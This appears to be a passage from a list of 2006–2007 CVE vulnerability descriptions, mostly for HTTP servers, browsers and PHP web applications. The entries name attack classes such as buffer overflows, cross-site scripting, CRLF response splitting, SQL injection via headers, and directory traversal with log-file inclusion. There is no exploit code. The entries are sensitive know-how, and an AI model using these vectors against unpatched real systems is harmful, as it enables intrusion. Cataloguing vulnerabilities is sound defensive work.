12759| [CVE-2007-2367] Buffer overflow in wserve_console.exe in Wserve HTTP Server (whttp) 4.6 allows remote attackers to cause a denial of service (forced application exit) via a long directory name in the URI.
12760| [CVE-2007-2336] Unspecified vulnerability in InterVations NaviCOPA Web Server 2.01 20070323 allows remote attackers to cause a denial of service (daemon crash) via crafted HTTP requests, as demonstrated by long requests containing '\A' characters, probably a different issue than CVE-2006-5112 and CVE-2007-1733. NOTE: the provenance of this information is unknown
12761| [CVE-2007-2292] CRLF injection vulnerability in the Digest Authentication support for Mozilla Firefox before 2.0.0.8 and SeaMonkey before 1.1.5 allows remote attackers to conduct HTTP request splitting attacks via LF (%0a) bytes in the username attribute.
12762| [CVE-2007-2291] CRLF injection vulnerability in the Digest Authentication support for Microsoft Internet Explorer 7.0.5730.11 allows remote attackers to conduct HTTP response splitting attacks via a LF (%0a) in the username attribute.
12763| [CVE-2007-2235] Multiple cross-site scripting (XSS) vulnerabilities in PunBB 1.2.14 and earlier allow remote attackers to inject arbitrary web script or HTML via the (1) Referer HTTP header to misc.php or the (2) category name when deleting a category in admin_categories.php.
12764| [CVE-2007-2225] A component in Microsoft Outlook Express 6 and Windows Mail in Windows Vista does not properly handle certain HTTP headers when processing MHTML protocol URLs, which allows remote attackers to obtain sensitive information from other Internet Explorer domains, aka "URL Parsing Cross Domain Information Disclosure Vulnerability."
12765| [CVE-2007-2197] Race condition in the NeatUpload ASP.NET component 1.2.11 through 1.2.16, 1.1.18 through 1.1.23, and trunk.379 through trunk.445 allows remote attackers to obtain other clients' HTTP responses via multiple simultaneous requests, which triggers multiple calls to HttpWorkerRequest.FlushResponse for the same HttpWorkerRequest object and causes a buffer to be reused for a different request.
12766| [CVE-2007-2171] Stack-based buffer overflow in the base64_decode function in GWINTER.exe in Novell GroupWise (GW) WebAccess before 7.0 SP2 allows remote attackers to execute arbitrary code via long base64 content in an HTTP Basic Authentication request.
12767| [CVE-2007-2047] CRLF injection vulnerability in www/delivery/ck.php in Openads 2.3 (aka Max Media Manager, MMM) before 0.3.31-alpha-pr3 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in the destination parameter. NOTE: some of these details are obtained from third party information.
12768| [CVE-2007-2046] Multiple CRLF injection vulnerabilities in adclick.php in (a) Openads (phpAdsNew) 2.0.11 and earlier and (b) Openads for PostgreSQL (phpPgAds) 2.0.11 and earlier allow remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in (1) the dest parameter and (2) the Referer HTTP header. NOTE: some of these details are obtained from third party information.
12769| [CVE-2007-2031] Buffer overflow in the HTTP proxy service for 3proxy 0.5 to 0.5.3g, and 0.6b-devel before 20070413, might allow remote attackers to execute arbitrary code via crafted transparent requests.
12770| [CVE-2007-1970] Mozilla Firefox does not warn the user about HTTP elements on an HTTPS page when the HTTP elements are dynamically created by a delayed document.write, which allows remote attackers to supply unauthenticated content and conduct phishing attacks.
12771| [CVE-2007-1963] SQL injection vulnerability in the create_session function in class_session.php in MyBB (aka MyBulletinBoard) 1.2.3 and earlier allows remote attackers to execute arbitrary SQL commands via the Client-IP HTTP header, as utilized by index.php, a related issue to CVE-2006-3775.
12772| [CVE-2007-1939] Cross-site scripting (XSS) vulnerability in the embedded webserver in Daniel Naber LanguageTool before 0.8.9 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors involving an error message, possibly the demultiplex method in HTTPServer.java.
12773| [CVE-2007-1926] Cross-site scripting (XSS) vulnerability in JBMC Software DirectAdmin before 1.293 does not properly display log files, which allows remote authenticated users to inject arbitrary web script or HTML via (1) http or (2) ftp requests logged in /var/log/directadmin/security.log
12774| [CVE-2007-1889] Integer signedness error in the _zend_mm_alloc_int function in the Zend Memory Manager in PHP 5.2.0 allows remote attackers to execute arbitrary code via a large emalloc request, related to an incorrect signed long cast, as demonstrated via the HTTP SOAP client in PHP, and via a call to msg_receive with the largest positive integer value of maxsize.
12775| [CVE-2007-1870] lighttpd before 1.4.14 allows attackers to cause a denial of service (crash) via a request to a file whose mtime is 0, which results in a NULL pointer dereference.
12776| [CVE-2007-1869] lighttpd 1.4.12 and 1.4.13 allows remote attackers to cause a denial of service (cpu and resource consumption) by disconnecting while lighttpd is parsing CRLF sequences, which triggers an infinite loop and file descriptor consumption.
12777| [CVE-2007-1868] The management service in IBM Tivoli Provisioning Manager for OS Deployment before 5.1 Fix Pack 2 does not properly handle multipart/form-data in HTTP POST requests, which allows remote attackers to execute arbitrary code or cause a denial of service (daemon crash) via crafted POST requests to port 8080/tcp or 443/tcp.
12778| [CVE-2007-1863] cache_util.c in the mod_cache module in Apache HTTP Server (httpd), when caching is enabled and a threaded Multi-Processing Module (MPM) is used, allows remote attackers to cause a denial of service (child processing handler crash) via a request with the (1) s-maxage, (2) max-age, (3) min-fresh, or (4) max-stale Cache-Control headers without a value.
12779| [CVE-2007-1862] The recall_headers function in mod_mem_cache in Apache 2.2.4 does not properly copy all levels of header data, which can cause Apache to return HTTP headers containing previously used data, which could be used by remote attackers to obtain potentially sensitive information.
12780| [CVE-2007-1860] mod_jk in Apache Tomcat JK Web Server Connector 1.2.x before 1.2.23 decodes request URLs within the Apache HTTP Server before passing the URL to Tomcat, which allows remote attackers to access protected pages via a crafted prefix JkMount, possibly involving double-encoded .. (dot dot) sequences and directory traversal, a related issue to CVE-2007-0450.
12781| [CVE-2007-1842] Directory traversal vulnerability in login.php in JSBoard before 2.0.12 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the table parameter, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, a related issue to CVE-2006-2019.
12782| [CVE-2007-1801] Directory traversal vulnerability in inc/lang.php in sBLOG 0.7.3 Beta allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the conf_lang_default parameter, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by inc/lang.php.
12783| [CVE-2007-1743] suexec in Apache HTTP Server (httpd) 2.2.3 does not verify combinations of user and group IDs on the command line, which might allow local users to leverage other vulnerabilities to create arbitrary UID/GID owned files if /proc is mounted. NOTE: the researcher, who is reliable, claims that the vendor disputes the issue because "the attacks described rely on an insecure server configuration" in which the user "has write access to the document root." In addition, because this is dependent on other vulnerabilities, perhaps this is resultant and should not be included in CVE.
12784| [CVE-2007-1742] suexec in Apache HTTP Server (httpd) 2.2.3 uses a partial comparison for verifying whether the current directory is within the document root, which might allow local users to perform unauthorized operations on incorrect directories, as demonstrated using "html_backup" and "htmleditor" under an "html" directory. NOTE: the researcher, who is reliable, claims that the vendor disputes the issue because "the attacks described rely on an insecure server configuration" in which the user "has write access to the document root."
12785| [CVE-2007-1741] Multiple race conditions in suexec in Apache HTTP Server (httpd) 2.2.3 between directory and file validation, and their usage, allow local users to gain privileges and execute arbitrary code by renaming directories or performing symlink attacks. NOTE: the researcher, who is reliable, claims that the vendor disputes the issue because "the attacks described rely on an insecure server configuration" in which the user "has write access to the document root."
12786| [CVE-2007-1733] Buffer overflow in InterVations NaviCOPA HTTP Server 2.01 allows remote attackers to execute arbitrary code via a long (1) /cgi-bin/ or (2) /cgi/ pathname in an HTTP GET request, probably a different issue than CVE-2006-5112.
12787| [CVE-2007-1720] Directory traversal vulnerability in addressbook.php in the Addressbook 1.2 module for PHP-Nuke allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the module_name parameter, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file.
12788| [CVE-2007-1700] The session extension in PHP 4 before 4.4.5, and PHP 5 before 5.2.1, calculates the reference count for the session variables without considering the internal pointer from the session globals, which allows context-dependent attackers to execute arbitrary code via a crafted string in the session_register after unsetting HTTP_SESSION_VARS and _SESSION, which destroys the session data Hashtable.
12789| [CVE-2007-1685] Buffer overflow in k9filter.exe in BlueCoat K9 Web Protection 3.2.36, and probably other versions before 3.2.44, allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP GET request to port 2372.
12790| [CVE-2007-1636] Directory traversal vulnerability in index.php in RoseOnlineCMS 3 B1 allows remote attackers to include arbitrary files via a .. (dot dot) sequence in the op parameter, as demonstrated by injecting PHP code into Apache log files via the URL and User-Agent HTTP header.
12791| [CVE-2007-1633] Directory traversal vulnerability in bbcode_ref.php in the Giorgio Ciranni Splatt Forum 4.0 RC1 module for PHP-Nuke allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the name parameter, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by bbcode_ref.php.
12792| [CVE-2007-1608] CRLF injection vulnerability in IBM WebSphere Application Server (WAS) before 6.0.2.19 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via a single CRLF sequence in a context that is not a valid multi-line header.
12793| [CVE-2007-1577] Directory traversal vulnerability in index.php in GeBlog 0.1 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the GLOBALS[tplname] parameter, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by index.php.
12794| [CVE-2007-1552] Unrestricted file upload vulnerability in usercp.php in MetaForum 0.513 Beta restricts file types based on the MIME type in the Content-type HTTP header, which allows remote attackers to upload and execute arbitrary scripts via an image MIME type with a filename containing an executable extension such as .php.
12795| [CVE-2007-1524] Directory traversal vulnerability in themes/default/ in ZomPlog 3.7.6 and earlier allows remote attackers to include arbitrary local files via a .. (dot dot) in the settings[skin] parameter, as demonstrated by injecting PHP code into an Apache HTTP Server log file, which can then be included via themes/default/.
12796| [CVE-2007-1520] The cross-site request forgery (CSRF) protection in PHP-Nuke 8.0 and earlier does not ensure the SERVER superglobal is an array before validating the HTTP_REFERER, which allows remote attackers to conduct CSRF attacks.
12797| [CVE-2007-1504] Cross-site scripting (XSS) vulnerability in the Servlet Service in Fujitsu Interstage Application Server (IJServer) 8.0.2 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified vectors, possibly involving web.xml and HTTP 404 and 500 status codes.
12798| [CVE-2007-1501] Stack-based buffer overflow in Avant Browser 11.0 build 26 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long Content-Type HTTP header.
12799| [CVE-2007-1494] Cross-site scripting (XSS) vulnerability in NukeSentinel before 2.5.06 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors related to the "filters for https:// and http://".
12800| [CVE-2007-1493] nukesentinel.php in NukeSentinel 2.5.06 and earlier uses a permissive regular expression to validate an IP address, which allows remote attackers to execute arbitrary SQL commands via the Client-IP HTTP header, due to an incomplete patch for CVE-2007-1172.
12801| [CVE-2007-1459] Multiple PHP remote file inclusion vulnerabilities in WebCreator 0.2.6-rc3 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the moddir parameter to (1) content/load.inc.php, (2) config/load.inc.php, (3) http/load.inc.php, and unspecified other files.
12802| [CVE-2007-1406] Trac before 0.10.3.1 does not send a Content-Disposition HTTP header specifying an attachment in certain "unsafe" situations, which has unknown impact and remote attack vectors.
12803| [CVE-2007-1359] Interpretation conflict in ModSecurity (mod_security) 2.1.0 and earlier allows remote attackers to bypass request rules via application/x-www-form-urlencoded POST data that contains an ASCIIZ (0x00) byte, which mod_security treats as a terminator even though it is still processed as normal data by some HTTP parsers including PHP 5.2.0, and possibly parsers in Perl, and Python.
12804| [CVE-2007-1350] Stack-based buffer overflow in webadmin.exe in Novell NetMail 3.5.2 allows remote attackers to execute arbitrary code via a long username during HTTP Basic authentication.
12805| [CVE-2007-1260] Stack-based buffer overflow in the connectHandle function in server.cpp in WebMod 0.48 allows remote attackers to execute arbitrary code via a long string in the Content-Length HTTP header.
12806| [CVE-2007-1230] Multiple cross-site scripting (XSS) vulnerabilities in wp-includes/functions.php in WordPress before 2.1.2-alpha allow remote attackers to inject arbitrary web script or HTML via (1) the Referer HTTP header or (2) the URI, a different vulnerability than CVE-2007-1049.
12807| [CVE-2007-1225] The connection log file implementation in Grok Developments NetProxy 4.03 does not record requests that omit http:// in a URL, which might allow remote attackers to conduct unauthorized activities and avoid detection.
12808| [CVE-2007-1224] Grok Developments NetProxy 4.03 allows remote attackers to bypass URL filtering via a request that omits "http://" from the URL and specifies the destination port (:80).
12809| [CVE-2007-1204] Stack-based buffer overflow in the Universal Plug and Play (UPnP) service in Microsoft Windows XP SP2 allows remote attackers on the same subnet to execute arbitrary code via crafted HTTP headers in request or notification messages, which trigger memory corruption.
12810| [CVE-2007-1172] SQL injection vulnerability in nukesentinel.php in NukeSentinel 2.5.05, and possibly earlier, allows remote attackers to execute arbitrary SQL commands via the Client-IP HTTP header, aka the "File Disclosure Exploit."
12811| [CVE-2007-1169] The web interface in Trend Micro ServerProtect for Linux (SPLX) 1.25, 1.3, and 2.5 before 20070216 accepts logon requests through unencrypted HTTP, which might allow remote attackers to obtain credentials by sniffing the network.
12812| [CVE-2007-1168] Trend Micro ServerProtect for Linux (SPLX) 1.25, 1.3, and 2.5 before 20070216 allows remote attackers to access arbitrary web pages and reconfigure the product via HTTP requests with the splx_2376_info cookie to the web interface port (14942/tcp).
12813| [CVE-2007-1115] The child frames in Opera 9 before 9.20 inherit the default charset from the parent window when a charset is not specified in an HTTP Content-Type header or META tag, which allows remote attackers to conduct cross-site scripting (XSS) attacks, as demonstrated using the UTF-7 character set.
12814| [CVE-2007-1114] The child frames in Microsoft Internet Explorer 7 inherit the default charset from the parent window when a charset is not specified in an HTTP Content-Type header or META tag, which allows remote attackers to conduct cross-site scripting (XSS) attacks, as demonstrated using the UTF-7 character set.
12815| [CVE-2007-1062] The Cisco Unified IP Conference Station 7935 3.2(15) and earlier, and Station 7936 3.3(12) and earlier does not properly handle administrator HTTP sessions, which allows remote attackers to bypass authentication controls via a direct URL request to the administrative HTTP interface for a limited time
12816| [CVE-2007-1061] SQL injection vulnerability in index.php in Francisco Burzi PHP-Nuke 8.0 Final and earlier, when the "HTTP Referers" block is enabled, allows remote attackers to execute arbitrary SQL commands via the HTTP Referer header (HTTP_REFERER variable).
12817| [CVE-2007-0977] IBM Lotus Domino R5 and R6 WebMail, with "Generate HTML for all fields" enabled, stores HTTPPassword hashes from names.nsf in a manner accessible through Readviewentries and OpenDocument requests to the defaultview view, a different vector than CVE-2005-2428.
12818| [CVE-2007-0973] Multiple cross-site scripting (XSS) vulnerabilities in index.php in Jupiter CMS 1.1.5 allow remote attackers to inject arbitrary web script or HTML via the Referer HTTP header and certain other HTTP headers, which are displayed without proper sanitization when an administrator performs a Logged Guest action.
12819| [CVE-2007-0972] Unrestricted file upload vulnerability in modules/emoticons.php in Jupiter CMS 1.1.5 allows remote attackers to upload arbitrary files by modifying the HTTP request to send an image content type, and to omit is_guest and is_user parameters. NOTE: this issue might be related to CVE-2006-4875.
12820| [CVE-2007-0971] Multiple SQL injection vulnerabilities in Jupiter CMS 1.1.5 allow remote attackers to execute arbitrary SQL commands via the Client-IP HTTP header and certain other HTTP headers, which set the ip variable that is used in SQL queries performed by index.php and certain other PHP scripts. NOTE: the attack vector might involve _SERVER.
12821| [CVE-2007-0966] Cisco Firewall Services Module (FWSM) 3.x before 3.1(3.11), when the HTTPS server is enabled, allows remote attackers to cause a denial of service (device reboot) via certain HTTPS traffic.
12822| [CVE-2007-0965] Cisco FWSM 3.x before 3.1(3.2), when authentication is configured to use "aaa authentication match" or "aaa authentication include", allows remote attackers to cause a denial of service (device reboot) via a long HTTP request.
12823| [CVE-2007-0964] Cisco FWSM 3.x before 3.1(3.18), when authentication is configured to use "aaa authentication match" or "aaa authentication include", allows remote attackers to cause a denial of service (device reboot) via a malformed HTTPS request.
12824| [CVE-2007-0962] Cisco PIX 500 and ASA 5500 Series Security Appliances 7.0 before 7.0(4.14) and 7.1 before 7.1(2.1), and the FWSM 2.x before 2.3(4.12) and 3.x before 3.1(3.24), when "inspect http" is enabled, allows remote attackers to cause a denial of service (device reboot) via malformed HTTP traffic.
12825| [CVE-2007-0938] Microsoft Content Management Server (MCMS) 2001 SP1 and 2002 SP2 does not properly handle certain characters in a crafted HTTP GET request, which allows remote attackers to execute arbitrary code, aka the "CMS Memory Corruption Vulnerability."
12826| [CVE-2007-0892] CRLF injection vulnerability in phpMyVisites before 2.2 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in the url parameter, when the pagename parameter begins with "FILE:".
12827| [CVE-2007-0817] Cross-site scripting (XSS) vulnerability in Adobe ColdFusion web server allows remote attackers to inject arbitrary HTML or web script via the User-Agent HTTP header, which is not sanitized before being displayed in an error page.
12828| [CVE-2007-0801] The nsExternalAppHandler::SetUpTempFile function in Mozilla Firefox 1.5.0.9 creates temporary files with predictable filenames based on creation time, which allows remote attackers to execute arbitrary web script or HTML via a crafted XMLHttpRequest.
12829| [CVE-2007-0796] Blue Coat Systems WinProxy 6.1a and 6.0 r1c, and possibly earlier, allows remote attackers to cause a denial of service (daemon crash) or possibly execute arbitrary code via a long HTTP CONNECT request, which triggers heap corruption.
12830| [CVE-2007-0760] EQdkp 1.3.1 and earlier authenticates administrative requests by verifying that the HTTP Referer header specifies an admin/ URL, which allows remote attackers to read or modify account names and passwords via a spoofed Referer.
12831| [CVE-2007-0664] thttpd before 2.25b-r6 in Gentoo Linux is started from the system root directory (/) by the Gentoo baselayout 1.12.6 package, which allows remote attackers to read arbitrary files.
12832| [CVE-2007-0637] Directory traversal vulnerability in zd_numer.php in Galeria Zdjec 3.0 and earlier allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the galeria parameter, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by zd_numer.php.
12833| [CVE-2007-0583] Multiple cross-site scripting (XSS) vulnerabilities in HTTP Commander 6.0, and possibly earlier, allow remote attackers to inject arbitrary web script or HTML via the (1) LogoffMessage parameter to logofflast.aspx or the (2) txtUsername parameter to Default.aspx. NOTE: The provenance of this information is unknown
12834| [CVE-2007-0578] The http_open function in httpget.c in mpg123 before 0.64 allows remote attackers to cause a denial of service (infinite loop) by closing the HTTP connection early.
12835| [CVE-2007-0548] KarjaSoft Sami HTTP Server 2.0.1 allows remote attackers to cause a denial of service (daemon hang) via a large number of requests for nonexistent objects.
12836| [CVE-2007-0533] The AToZed IntraWeb component 8.0 and earlier for Borland Delphi and Kylix, and IntraWeb 9.0 before build (9.0.12), allows remote attackers to cause a denial of service (thread hang or CPU consumption) via a crafted HTTP request, related to the OnBeforeDispatch function in the TIWServerController object.
12837| [CVE-2007-0528] The admin web console implemented by the Centrality Communications (aka Aredfox) PA168 chipset and firmware 1.54 and earlier, as provided by various IP phones, does not require passwords or authentication tokens when using HTTP, which allows remote attackers to connect to existing superuser sessions and obtain sensitive information (passwords and configuration data).
12838| [CVE-2007-0514] Multiple cross-site scripting (XSS) vulnerabilities in multiple Hitachi Web Server, uCosminexus, and Cosminexus products before 20070124 allow remote attackers to inject arbitrary web script or HTML via (1) HTTP Expect headers or (2) image maps.
12839| [CVE-2007-0464] The _CFNetConnectionWillEnqueueRequests function in CFNetwork 129.19 on Apple Mac OS X 10.4 through 10.4.10 allows remote attackers to cause a denial of service (application crash) via a crafted HTTP 301 response, which results in a NULL pointer dereference.
12840| [CVE-2007-0459] packet-tcp.c in the TCP dissector in Wireshark (formerly Ethereal) 0.99.2 through 0.99.4 allows remote attackers to cause a denial of service (application crash or hang) via fragmented HTTP packets.
12841| [CVE-2007-0458] Unspecified vulnerability in the HTTP dissector in Wireshark (formerly Ethereal) 0.99.3 and 0.99.4 allows remote attackers to cause a denial of service (application crash) via unspecified vectors, a different issue than CVE-2006-5468.
12842| [CVE-2007-0450] Directory traversal vulnerability in Apache HTTP Server and Tomcat 5.x before 5.5.22 and 6.x before 6.0.10, when using certain proxy modules (mod_proxy, mod_rewrite, mod_jk), allows remote attackers to read arbitrary files via a .. (dot dot) sequence with combinations of (1) "/" (slash), (2) "\" (backslash), and (3) URL-encoded backslash (%5C) characters in the URL, which are valid separators in Tomcat but not in Apache.
12843| [CVE-2007-0420] BEA WebLogic Server 9.0, 9.1, and 9.2 Gold allows remote attackers to obtain sensitive information via malformed HTTP requests, which reveal data from previous requests.
12844| [CVE-2007-0419] The BEA WebLogic Server proxy plug-in before June 2006 for the Apache HTTP Server does not properly handle protocol errors, which allows remote attackers to cause a denial of service (server outage).
12845| [CVE-2007-0282] Unspecified vulnerability in Oracle HTTP Server 9.0.1.5, Application Server 9.0.4.2 and 10.1.2.0.0, and Collaboration Suite 9.0.4.2 has unknown impact and attack vectors related to the Oracle Process Mgmt & Notification component, aka OPMN02.
12846| [CVE-2007-0281] Multiple unspecified vulnerabilities in Oracle HTTP Server 9.0.1.5, 9.2.0.8, 10.1.0.5, and 10.2.0.3
12847| [CVE-2007-0280] Unspecified vulnerability in Oracle HTTP Server 9.0.1.5, Application Server 9.0.4.3, 10.1.2.0.0, 10.1.2.0.2, and 10.1.2.2
12848| [CVE-2007-0279] Multiple unspecified vulnerabilities in Oracle HTTP Server 9.2.0.8 and Oracle E-Business Suite and Applications 11.5.10CU2 have unknown impact and attack vectors, aka (1) OHS01, (2) OHS02, (3) OHS05, (4) OHS06, and (5) OHS07.
12849| [CVE-2007-0240] Cross-site scripting (XSS) vulnerability in Zope 2.10.2 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified vectors in a HTTP GET request.
12850| [CVE-2007-0173] Directory traversal vulnerability in index.php in L2J Statistik Script 0.09 and earlier, when register_globals is enabled and magic_quotes is disabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the page parameter, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by index.php.
12851| [CVE-2007-0124] Unspecified vulnerability in Drupal before 4.6.11, and 4.7 before 4.7.5, when MySQL is used, allows remote authenticated users to cause a denial of service by poisoning the page cache via unspecified vectors, which triggers erroneous 404 HTTP errors for pages that exist.
12852| [CVE-2007-0120] Acunetix Web Vulnerability Scanner (WVS) 4.0 Build 20060717 and earlier allows remote attackers to cause a denial of service (application crash) via multiple HTTP requests containing invalid Content-Length values.
12853| [CVE-2007-0105] Stack-based buffer overflow in the CSAdmin service in Cisco Secure Access Control Server (ACS) for Windows before 4.1 and ACS Solution Engine before 4.1 allows remote attackers to execute arbitrary code via a crafted HTTP GET request.
12854| [CVE-2007-0098] Directory traversal vulnerability in language.php in VerliAdmin 0.3 and earlier, when magic_quotes_gpc is disabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the lang cookie, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by language.php.
12855| [CVE-2007-0086] ** DISPUTED ** The Apache HTTP Server, when accessed through a TCP connection with a large window size, allows remote attackers to cause a denial of service (network bandwidth consumption) via a Range header that specifies multiple copies of the same fragment. NOTE: the severity of this issue has been disputed by third parties, who state that the large window size required by the attack is not normally supported or configured by the server, or that a DDoS-style attack would accomplish the same goal.
12856| [CVE-2007-0047] CRLF injection vulnerability in Adobe Acrobat Reader Plugin before 8.0.0, when used with the Microsoft.XMLHTTP ActiveX object in Internet Explorer, allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in the javascript: URI in the (1) FDF, (2) XML, or (3) XFDF AJAX request parameters.
12857| [CVE-2007-0019] Multiple heap-based buffer overflows in rumpusd in Rumpus 5.1 and earlier (1) allow remote authenticated users to execute arbitrary code via a long LIST command and other unspecified requests to the FTP service, and (2) allow remote attackers to execute arbitrary code via unspecified requests to the HTTP service.
12858| [CVE-2006-7201] EMC RSA Security SiteKey does not set the secure qualifier on the SiteKey Flash token (aka the PassMark Flash shared object), which might allow remote attackers to obtain the token via HTTP.
12859| [CVE-2006-7172] Multiple SQL injection vulnerabilities in php-stats.recphp.php in PHP-Stats 0.1.9.1b and earlier allow remote attackers to execute arbitrary code via a leading dotted-quad IP address string in the (1) PC-REMOTE-ADDR HTTP header, which is inserted into $_SERVER['HTTP_PC_REMOTE_ADDR'], or (2) ip parameter.
12860| [CVE-2006-7125] Cross-site scripting (XSS) vulnerability in Joomla BSQ Sitestats 1.8.0 and 2.2.1 allows remote attackers to inject arbitrary web script or HTML via the HTTP Referer header, which is not properly handled when the administrator views site statistics.
12861| [CVE-2006-7121] The HTTP server in Linksys SPA-921 VoIP Desktop Phone allows remote attackers to cause a denial of service (reboot) via (1) a long URL, or a long (2) username or (3) password during Basic Authentication.
12862| [CVE-2006-7098] The Debian GNU/Linux 033_-F_NO_SETSID patch for the Apache HTTP Server 1.3.34-4 does not properly disassociate httpd from a controlling tty when httpd is started interactively, which allows local users to gain privileges to that tty via a CGI program that calls the TIOCSTI ioctl.
12863| [CVE-2006-7053] Unspecified vulnerability in Arkoon FAST360 UTM appliances 3.0 through 3.0/29, 3.1, 3.2, and 3.3 allows remote attackers to bypass keyword filtering in the FAST HTTP module, and signatures in the IDPS HTTP module, via crafted URLs that are "misinterpreted."
12864| [CVE-2006-7020] CRLF injection vulnerability in (1) include/inc_act/act_formmailer.php and possibly (2) sample_ext_php/mail_file_form.php in phpwcms 1.2.5-DEV and earlier, and 1.1 before RC4, allows remote attackers to modify HTTP headers and send spam e-mail via a spoofed HTTP Referer (HTTP_REFERER).
12865| [CVE-2006-7013] ** DISPUTED ** QueryString.php in Simple Machines Forum (SMF) 1.0.7 and earlier, and 1.1rc2 and earlier, allows remote attackers to more easily spoof the IP address and evade banning via a modified X-Forwarded-For HTTP header, which is preferred instead of other more reliable sources for the IP address. NOTE: the original researcher claims that the vendor has disputed this issue.
12866| [CVE-2006-6992] Cross-domain vulnerability in GoSuRF Browser 2.62 allows remote attackers to access restricted information from other domains via an object tag with a data parameter that references a link on the attacker's originating site that specifies a Location HTTP header that references the target site, which then makes that content available through the outerHTML attribute of the object, a similar vulnerability to CVE-2006-3280.
12867| [CVE-2006-6991] Cross-domain vulnerability in Fast Browser Pro 8.1 allows remote attackers to access restricted information from other domains via an object tag with a data parameter that references a link on the attacker's originating site that specifies a Location HTTP header that references the target site, which then makes that content available through the outerHTML attribute of the object, a similar vulnerability to CVE-2006-3280.
12868| [CVE-2006-6990] Cross-domain vulnerability in Enigma Browser 3.8.8 allows remote attackers to access restricted information from other domains via an object tag with a data parameter that references a link on the attacker's originating site that specifies a Location HTTP header that references the target site, which then makes that content available through the outerHTML attribute of the object, a similar vulnerability to CVE-2006-3280.
12869| [CVE-2006-6989] Cross-domain vulnerability in NetCaptor 4.5.7 Personal Edition allows remote attackers to access restricted information from other domains via an object tag with a data parameter that references a link on the attacker's originating site that specifies a Location HTTP header that references the target site, which then makes that content available through the outerHTML attribute of the object, a similar vulnerability to CVE-2006-3280.
12870| [CVE-2006-6988] Cross-domain vulnerability in Slim Browser 4.07 build 100 allows remote attackers to access restricted information from other domains via an object tag with a data parameter that references a link on the attacker's originating site that specifies a Location HTTP header that references the target site, which then makes that content available through the outerHTML attribute of the object, a similar vulnerability to CVE-2006-3280.
12871| [CVE-2006-6987] Cross-domain vulnerability in FineBrowser Freeware 3.2.2 allows remote attackers to access restricted information from other domains via an object tag with a data parameter that references a link on the attacker's originating site that specifies a Location HTTP header that references the target site, which then makes that content available through the outerHTML attribute of the object, a similar vulnerability to CVE-2006-3280.
12872| [CVE-2006-6986] Cross-domain vulnerability in PhaseOut 5.4.4 allows remote attackers to access restricted information from other domains via an object tag with a data parameter that references a link on the attacker's originating site that specifies a Location HTTP header that references the target site, which then makes that content available through the outerHTML attribute of the object, a similar vulnerability to CVE-2006-3280.
12873| [CVE-2006-6985] Cross-domain vulnerability in Maxthon 1.5.6 build 42 allows remote attackers to access restricted information from other domains via an object tag with a data parameter that references a link on the attacker's originating site that specifies a Location HTTP header that references the target site, which then makes that content available through the outerHTML attribute of the object, a similar vulnerability to CVE-2006-3280.
12874| [CVE-2006-6984] Cross-domain vulnerability in GreenBrowser 3.4.0622 allows remote attackers to access restricted information from other domains via an object tag with a data parameter that references a link on the attacker's originating site that specifies a Location HTTP header that references the target site, which then makes that content available through the outerHTML attribute of the object, a similar vulnerability to CVE-2006-3280.
12875| [CVE-2006-6983] Cross-domain vulnerability in MYweb4net Browser 3.8.8.0 allows remote attackers to access restricted information from other domains via an object tag with a data parameter that references a link on the attacker's originating site that specifies a Location HTTP header that references the target site, which then makes that content available through the outerHTML attribute of the object, a similar vulnerability to CVE-2006-3280.
12876| [CVE-2006-6965] CRLF injection vulnerability in lib/exe/fetch.php in DokuWiki 2006-03-09e, and possibly earlier, allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in the media parameter. NOTE: this issue can be leveraged for XSS attacks.
12877| [CVE-2006-6909] Stack-based buffer overflow in http.c in Karl Dahlke Edbrowse (aka Command line editor browser) 3.1.3 allows remote attackers to execute arbitrary code by operating an FTP server that sends directory listings with (1) long user names or (2) long group names.
12878| [CVE-2006-6869] Directory traversal vulnerability in includes/search/search_mdforum.php in MAXdev MDForum 2.0.1 and earlier, when magic_quotes_gpc is disabled and register_globals is enabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the PNSVlang cookie to error.php, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by error.php.
12879| [CVE-2006-6855] AIDeX Mini-WebServer 1.1 early release 3 allows remote attackers to cause a denial of service (daemon crash) via a flood of HTTP GET requests, possibly related to display of HTTP log data by the GUI. NOTE: some of these details are obtained from third party information.
12880| [CVE-2006-6773] pages/register/register.php in Fishyshoop 0.930 beta allows remote attackers to create arbitrary administrative users by setting the is_admin HTTP POST parameter to 1.
12881| [CVE-2006-6772] Format string vulnerability in the inputAnswer function in file.c in w3m before 0.5.2, when run with the dump or backend option, allows remote attackers to execute arbitrary code via format string specifiers in the Common Name (CN) field of an SSL certificate associated with an https URL.
12882| [CVE-2006-6758] Directory traversal vulnerability in Http explorer 1.02 allows remote attackers to read arbitrary files via a .. (dot dot) sequence in the URI.
